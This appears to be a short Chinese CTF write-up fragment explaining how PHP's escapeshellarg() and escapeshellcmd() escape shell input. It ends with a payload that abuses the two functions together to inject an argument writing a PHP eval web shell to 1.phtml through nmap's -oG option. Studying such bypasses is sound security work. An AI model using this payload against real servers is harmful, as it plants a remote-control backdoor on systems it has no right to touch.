escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec(),system()执行运算符。

escapeshellcmd

escapeshellcmd()对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到exec()或system()函数,或者执行操作符之前进行转义。反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\,\x0A和\xFF。'和"仅在不配对儿的时候被转义。  在 Windows 平台上,所有这些字符以及%和!字符都会被空格代替。

3、payload

host=127.0.0.1 ' <?=@eval($_POST["hack"]);?> -oG 1.phtml ' 

image-20210824175143084

上一篇 下一篇